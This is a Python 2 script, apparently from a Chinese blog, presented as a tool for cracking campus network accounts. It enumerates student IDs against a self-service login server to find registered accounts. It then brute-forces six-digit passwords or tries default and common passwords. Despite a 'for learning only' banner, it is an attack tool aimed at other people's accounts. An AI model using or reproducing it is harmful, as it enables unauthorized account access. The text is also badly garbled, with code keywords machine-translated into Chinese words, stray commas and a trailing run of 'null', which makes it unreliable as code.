环境:Python 2.7
# !/usr/bin/env Python #=utf8编码 print “+”* 50 print u”功能:简单破解校园网账号” print u”微信公众号:电脑趣的事” print u”仅供学习交流使用,严禁违法犯罪,否则后果自负” print “+”* 50 import httplib import urllib import 再保险 用户名=[] 时间=httpClient 没有 If_password =(000000, 123456, 123123, 456456, 789789, 110110, 110120, 111111, 222222, 333333, 444444, 555555, 666666, 777777, 888888, 999999, 5201314) def 确定(): nj =, int (raw_input (“please select  a class 15日16日17:“).strip ()) start =int (raw_input (“please input 开始(提示:1234):“).strip ()) 最终获得=,int (raw_input (“please input 结束(提示:5678):“).strip ()) if (最终获得& lt;=start 或(nj !=, 15,以及nj !=, 16,以及新泽西!=17)): print u”输入有误,请重新选择” print ‘=? 50 菜单() 退出() 其他: print “please wait a  moment ” #构造学号 for 小姐:拷贝范围(开始、结束): ,,,for j 拷贝范围(0100): ,,,,,,,key_numer =, int (str (nj) + str (i) .zfill (4) + str (j) .zfill (3)) ,,,,,,, ,,,,,,,试一试: ,,,,,,,,,,,params =, urllib.urlencode({“关键”:,key_numer}) ,,,,,,,,,,,headers =,{“内容类型”:,“应用程序/x-www-form-urlencoded”,“接受”:,“text/plain”} ,,,,,,,,,,,httpClient =, httplib.HTTPConnection(“10.54.100.1”, 8080年,超时=30) ,,,,,,,,,,,httpClient.request(“后”,“selfservice/模块/userself/web/userself_reg_ajax.jsf ? methodName=regUserinfoBean.checkUser ",,参数,,头) ,,,,,,,,,,,response =, httpClient.getresponse () ,,,,,,,,,,,right_or_wrong =, response.read () ,,,,,,,,,,,#正则和判断 ,,,,,,,,,,,zhengze =, re.findall (r, 'false right_or_wrong ,, re.M | re.I) ,,,,,,,,,,,if len (zhengze),==, 1: ,,,,,,,,,,,,,,,username.append (key_numer) ,,,,,,,,,,, ,,,,,,,except 例外,,e: ,,,,,,,,,,,print e ,,,,,,,最后: ,,,,,,,,,,,if httpClient: ,,,,,,,,,,,,,,,httpClient.close () print “。”* 50 print u”在这个范围内已开通的账号有:“ print “ print 用户名 print “。”* 50 return 用户名 def 连接(用户名、密码): global 试一试: params =, urllib.urlencode({“名称”:用户名、“密码”:密码}) headers =,{“内容类型”:,“应用程序/x-www-form-urlencoded”,“接受”:,“text/plain”} 时间=httpClient httplib.HTTPConnection(“10.54.100.1”, 8080年,超时=30) httpClient.request(“后”,,“/selfservice/模块/scgroup/web/login_judge.jsf”,,参数,,头) 时间=response httpClient.getresponse () 时间=right_or_wrong response.read () pipei =, re.findall (r 'errorMsg, right_or_wrong,, re.M | re.I) if len (pipei)==1: a =, 0, #判断是否爆破出来的标记 通过 其他: print u”账号:% s \ 000 \ 000密码:% s“%(用户名、密码) a =1 例外,except e: print e 最后: if httpClient: ,,,httpClient.close () return def yanzheng (): UserName =, str (raw_input (“please select  a UserName 输入:“).strip ()) for 小姐:拷贝范围(0,1000000): PassWord =, str (i) .zfill (6) 连接(用户名、密码) if a ==, 1: 打破 其他: 通过 def Default_password_single (): UserName =, str (raw_input (“please select  a UserName 输入:“).strip ()) 时间=PassWord 用户名[3:10] 连接(用户名、密码) if a ==0: PassWord =,‘123456’ 连接(用户名、密码) if ==0: print u”已经查找完成” def Default_password_not_single (): print “please wait a 时刻” for 小姐:拷贝范围(0,len(用户名): UserName =, str(用户名(我)) 时间=PassWord 用户名[3:10] 连接(用户名、密码) if a ==0: PassWord =,‘123456’ 连接(用户名、密码) null null null null null null null null null null null null null null null null null null null null null null null null null null null null null null null null null null null null null null null null null null null null null null校园网密码破解程序